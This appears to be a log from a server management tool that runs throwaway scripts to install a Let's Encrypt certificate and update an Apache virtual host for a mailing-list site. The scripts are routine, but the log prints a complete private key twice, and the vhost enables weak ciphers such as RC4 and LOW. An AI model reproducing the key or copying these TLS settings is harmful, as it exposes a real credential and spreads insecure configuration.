/qN7XENpFYstRulwjhKcUnIPMO15FcIFhqUqWwe4UFDzIwQIzLZPv/8HTkGw6xwW
TLoFGMCEwzMpX4+RoWGfdDW+CVNqmm0E5Ufdp8bypKKbz2y+xIBraIUA1u88XE43
Dc6QQy+LAgMBAAECggEAAQNg+BNQvQsB3R19S2T0rrJXIaMVJ2o81wKBnRg/B4zC
SuGyZKXF6uM9n4yUwJN8iwe1w0ic6w6/UtGX9iUoL309FdGuVHu29snPK28jEIYP
dLrx3taS3yUzPw7yHF3Jux1afEELkqwvDCfOwGVAm75/TArARJ3xgjMbgp/gftRs
TwrmEljNPRF2FlXAqA3B+P8T5u4QsUredhAplAjSiS7yMNQszWDKcouxC2jU8nNC
A1mJNeTahKXixht3HpSp03mSrDZ5+WRkUUFmyLLR0BTVfAjHjBJc0krrkIlkkz6W
60QBwLUF+yZGMIMAjr63s7blXCNetwBjE5OeOtL+uQKBgQC9lugy7coVVUdKJpC3
FEuJfNllNmCuOUGXFOp1utZPnRyMsSMbsNfUqr0iHr1HHZBMBb4HELH6/zzfCEOT
gOOSmNdiSe7dZn+rBZ4klzBmySwzmiW45FLKAi6eJBVamuS+x9u5oHaYX+D+aUAJ
TdtjFxFv/puNZNdBeVCDcHVYrQKBgQC9SvDHHJcBAa/JjFtxFphCC9tMewHnLgGB
5TEEY+Mk+dTw6jJqXWMaz9G0l1eIesHsNm8jXNLNk+0GMEiHBn8rNM0mIi2/hSHq
Ud6p6bVFP6dyY6p7PR6Mc293G1PA+q18O9D6IE7lVkZAJapfy2E3ZghQcP41gM9p
XEK2cAgYFwKBgHxJOJFih27yx9hZbddHS7mnChEq07iDOndjs8xYHnR0p6mn2j8l
8GevQmviwOyk+dqMjSWukS7dMjd4AGzrOsT4w4Hgu+GSdzFTbnfIUWegjASMEhyi
OY/KXGs5dnI+RqS2+lk3U2fSuvmtX9h5nM/Z6ImF3M2VhPOcJubzy0nFAoGBAIyF
NGbrX2Hc6a06J6u09USaXqrQ6eG/MllGVfQHXtjVKfHKObDiMK73tZpVeyKS1qDO
7AQZZVg9RwiAEWdDOGZPpTd4yfNSFpJHQn9qQintDhYJzMX94k6rZwTJYYxxyxXd
pc346/it6iq2i1rftQSWFvf4WY5IWDDDz7Z1RlzzAoGAPy5nF9i11CB6DqB9+VGU
3teJsXr17nlTU3LxcmDXOoP9IrkF45XX9RhUAPgOh+DRbFtIlXrg03Zehi1+ZWh7
rAwrrOjEa4+zg+drWR3c3E5JDzB83ECeKJylZaOdJJXvl+12qwTFEr36oWLkacvV
/NnfNh7XRNsxYfyHqDRozDE=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-17 14:35:40: 

chmod 755 /tmp/pkp901867; /tmp/pkp901867; rm /tmp/pkp901867

2026-06-17 14:35:40: 


dir=/etc/ssl/certs


2026-06-17 14:35:40: 

PUT: /tmp/pkp496619

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-17 14:35:40: 

chmod 755 /tmp/pkp496619; /tmp/pkp496619; rm /tmp/pkp496619

2026-06-17 14:35:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf 58

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-17 14:35:40: 

PUT: /tmp/pkp218606

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_list_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf= 1'
fi


2026-06-17 14:35:40: 

chmod 755 /tmp/pkp218606; /tmp/pkp218606; rm /tmp/pkp218606

2026-06-17 14:35:40: 




2026-06-17 14:35:40: 

PUT: /tmp/pkp818018

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-17 14:35:40: 

chmod 755 /tmp/pkp818018; /tmp/pkp818018; rm /tmp/pkp818018

2026-06-17 14:35:40: 


.


2026-06-17 14:35:40: Establishing a connection
2026-06-17 14:35:40: 

PUT: /tmp/pkp740067

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-17 14:35:40: 

chmod 755 /tmp/pkp740067; /tmp/pkp740067; rm /tmp/pkp740067

2026-06-17 14:35:40: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-06-17 14:35:40: 

PUT: /tmp/pkp861704

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-17 14:35:40: 

chmod 755 /tmp/pkp861704; /tmp/pkp861704; rm /tmp/pkp861704

2026-06-17 14:35:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf	1431

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-17 14:35:40: 

PUT: /tmp/pkp588174

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-17 14:35:40: 

chmod 755 /tmp/pkp588174; /tmp/pkp588174; rm /tmp/pkp588174

2026-06-17 14:35:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt	7469
78:8d:04:25:86:75:f2:1a:4b:58:82:ab:67:0d:f6:6a

-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBirYeJhzQxYGNNtjGaVvghEkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE3MTMzNzA3WhcNMjYwOTE1MTMzNzA2WjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCML+ldp3GC1csZxdnsrbXy3Gqjsj2FhrahbPhl5FLC0Cx78NXZ
iWc5vC13MVhcXkkPz20rntNS3uCZRFcNwXwdmC5UugAWuUK/vgpmfmC9aQTuYZu3
dR+8TPUmeg5mojEhMa/MlRMfwYPgZQRA25xfW+a1nz6IT7JAG5ZIz8iIswHjwuEh
ux7qtcPHu97rhN4jIDERB5TgRPI0/qN7XENpFYstRulwjhKcUnIPMO15FcIFhqUq
Wwe4UFDzIwQIzLZPv/8HTkGw6xwWTLoFGMCEwzMpX4+RoWGfdDW+CVNqmm0E5Ufd
p8bypKKbz2y+xIBraIUA1u88XE43Dc6QQy+LAgMBAAGjggI9MIICOTAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUrMlSY5f6+jMrGaiD6Gxkm+o9lkEwHwYDVR0jBBgwFoAUHy81vkYUgs1A
sa55LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIxLmkubGVuY3Iub3JnLzA4BgNVHREEMTAvghhsaXN0LmhvcGVpbnN0b3VnaHRv
bi5vcmeCE2xpc3Quc3RvdWdodG9uLmxpbmswEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8zNy5jcmww
ggEOBgorBgEEAdZ5AgQCBIH/BIH8APoAdwCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDw
JF5V1gwv54WHOgAAAZ7WAlYnAAAEAwBIMEYCIQDALOZGuMMC254ZFE8Gmr/ay/EB
8UGbooL8Gd0L7h3fQgIhALuRZQDsylbYj0U/tc5UoPDjisLjc3KbEZjB3BeOO9r0
AH8AGoudaw/+v4G0eTnG0jEKhtbRAtTwRuIYLJ3jX14mJe8AAAGe1gJX3wAIAAAF
ACAFgHMEAwBIMEYCIQD6nQ/vyizyiHJANN11yOzqT3zZ3u3uWSIJfXUiviwaAAIh
AIvWq3jnHFQ/CyUq4KSMpwBQoDFQ68GmJPSVfUoN8dsJMA0GCSqGSIb3DQEBCwUA
A4IBAQBAn44o33qRx1Cxu7Dq9LRvwkWZT6iHvwRVq+n1E0U0wS7uVtqN9YQcfuGt
uTt9SHGoJagcujqVjv5N2FTu3/YjV8Vqb02gkw/aBS3KFKRQhj6H0oGEUfTuSX2j
Hu5aT01hrb2O2XxxgF1pwGanvjdTao3bxjsnJiQ088lKvCXGXUEjt1kXw6fCuKrA
hYz/TZyK9IYrwJy6fGgV9dLDUK04E2/XhjsO7dxd+l3ucP8fwETXuy/mf2V+2A0N
JpBcB3ETU9XorTDBF0FJ/IcVTOSuiNhUV41EP4PlANYKTdiaKrJSP13EAFc/dlqt
tneq1gmrXWjQDWGgfhEafcjh0ran
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCML+ldp3GC1csZ
xdnsrbXy3Gqjsj2FhrahbPhl5FLC0Cx78NXZiWc5vC13MVhcXkkPz20rntNS3uCZ
RFcNwXwdmC5UugAWuUK/vgpmfmC9aQTuYZu3dR+8TPUmeg5mojEhMa/MlRMfwYPg
ZQRA25xfW+a1nz6IT7JAG5ZIz8iIswHjwuEhux7qtcPHu97rhN4jIDERB5TgRPI0
/qN7XENpFYstRulwjhKcUnIPMO15FcIFhqUqWwe4UFDzIwQIzLZPv/8HTkGw6xwW
TLoFGMCEwzMpX4+RoWGfdDW+CVNqmm0E5Ufdp8bypKKbz2y+xIBraIUA1u88XE43
Dc6QQy+LAgMBAAECggEAAQNg+BNQvQsB3R19S2T0rrJXIaMVJ2o81wKBnRg/B4zC
SuGyZKXF6uM9n4yUwJN8iwe1w0ic6w6/UtGX9iUoL309FdGuVHu29snPK28jEIYP
dLrx3taS3yUzPw7yHF3Jux1afEELkqwvDCfOwGVAm75/TArARJ3xgjMbgp/gftRs
TwrmEljNPRF2FlXAqA3B+P8T5u4QsUredhAplAjSiS7yMNQszWDKcouxC2jU8nNC
A1mJNeTahKXixht3HpSp03mSrDZ5+WRkUUFmyLLR0BTVfAjHjBJc0krrkIlkkz6W
60QBwLUF+yZGMIMAjr63s7blXCNetwBjE5OeOtL+uQKBgQC9lugy7coVVUdKJpC3
FEuJfNllNmCuOUGXFOp1utZPnRyMsSMbsNfUqr0iHr1HHZBMBb4HELH6/zzfCEOT
gOOSmNdiSe7dZn+rBZ4klzBmySwzmiW45FLKAi6eJBVamuS+x9u5oHaYX+D+aUAJ
TdtjFxFv/puNZNdBeVCDcHVYrQKBgQC9SvDHHJcBAa/JjFtxFphCC9tMewHnLgGB
5TEEY+Mk+dTw6jJqXWMaz9G0l1eIesHsNm8jXNLNk+0GMEiHBn8rNM0mIi2/hSHq
Ud6p6bVFP6dyY6p7PR6Mc293G1PA+q18O9D6IE7lVkZAJapfy2E3ZghQcP41gM9p
XEK2cAgYFwKBgHxJOJFih27yx9hZbddHS7mnChEq07iDOndjs8xYHnR0p6mn2j8l
8GevQmviwOyk+dqMjSWukS7dMjd4AGzrOsT4w4Hgu+GSdzFTbnfIUWegjASMEhyi
OY/KXGs5dnI+RqS2+lk3U2fSuvmtX9h5nM/Z6ImF3M2VhPOcJubzy0nFAoGBAIyF
NGbrX2Hc6a06J6u09USaXqrQ6eG/MllGVfQHXtjVKfHKObDiMK73tZpVeyKS1qDO
7AQZZVg9RwiAEWdDOGZPpTd4yfNSFpJHQn9qQintDhYJzMX94k6rZwTJYYxxyxXd
pc346/it6iq2i1rftQSWFvf4WY5IWDDDz7Z1RlzzAoGAPy5nF9i11CB6DqB9+VGU
3teJsXr17nlTU3LxcmDXOoP9IrkF45XX9RhUAPgOh+DRbFtIlXrg03Zehi1+ZWh7
rAwrrOjEa4+zg+drWR3c3E5JDzB83ECeKJylZaOdJJXvl+12qwTFEr36oWLkacvV
/NnfNh7XRNsxYfyHqDRozDE=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
